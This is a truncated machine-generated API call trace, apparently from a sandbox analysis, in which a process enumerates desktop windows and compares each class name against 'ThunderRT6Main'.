[0099.935] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0099.935] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0099.935] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.935] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0099.935] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0099.935] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0099.935] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0099.935] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0099.935] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.935] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0099.935] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0099.935] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0099.935] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0099.935] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0099.935] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.935] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0099.935] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0099.935] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0099.935] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0099.935] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0099.935] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.935] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0099.935] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0099.935] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0099.935] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0099.935] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0099.935] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.936] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0099.936] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0099.936] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0099.936] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0099.936] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0099.936] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.936] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0099.936] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0099.936] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0099.936] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0099.936] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0099.936] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.936] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0099.936] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0099.936] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0099.936] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0099.936] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0099.936] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.936] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0099.936] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0099.936] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0099.936] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0099.936] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0099.936] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.936] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0099.936] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0099.936] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0099.936] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0099.936] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0099.936] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0099.936] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.936] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0099.937] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0099.937] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0099.937] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0099.937] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0099.937] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.937] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0099.937] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0099.937] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0099.937] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0099.937] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0099.937] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.937] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0099.937] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0099.937] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0099.937] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0099.937] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0099.937] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.937] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0099.937] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0099.937] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0099.937] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0099.937] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0099.937] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.937] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0099.937] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0099.937] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0099.937] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0099.937] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0099.937] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0099.937] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0099.937] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0099.937] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0099.937] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0099.937] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0099.937] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0099.938] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0099.938] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0099.938] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0099.938] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0099.938] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0099.938] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0099.938] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.938] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0099.938] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0099.938] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0099.938] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0099.938] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0099.938] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.938] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0099.938] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0099.938] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0099.938] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0099.938] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0099.938] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.938] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0099.938] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0099.938] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.938] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0099.938] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0099.938] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.938] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0099.938] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0099.938] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0099.938] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0099.938] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0099.938] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.938] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.938] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0099.938] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0099.938] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.939] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0099.939] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0099.939] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.939] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.939] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0099.939] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0099.939] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.939] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0099.939] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0099.939] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.939] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0099.939] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.939] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.939] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0099.939] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.939] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.939] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0099.939] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.939] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.939] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0099.939] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0099.939] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.939] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0099.939] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0099.939] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.939] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0099.939] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.939] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.939] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0099.939] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0099.939] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.940] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.940] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0099.940] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.940] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.940] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0099.940] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.940] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.940] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0099.940] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0099.940] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.940] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0099.940] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0099.940] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0099.940] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0099.940] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.940] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0099.940] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0099.940] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0099.940] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0099.940] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0099.940] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.940] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0099.940] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0099.940] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0099.940] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.940] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0099.940] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0099.940] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0099.940] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0099.940] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0099.940] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0099.941] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0099.941] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0099.941] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0099.941] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.941] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.941] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0099.941] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0099.941] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0099.941] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0099.941] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0099.941] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0099.941] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0099.941] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0099.941] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0099.941] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0099.941] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.941] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.941] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0099.941] GetWindow (hWnd=0x10042, 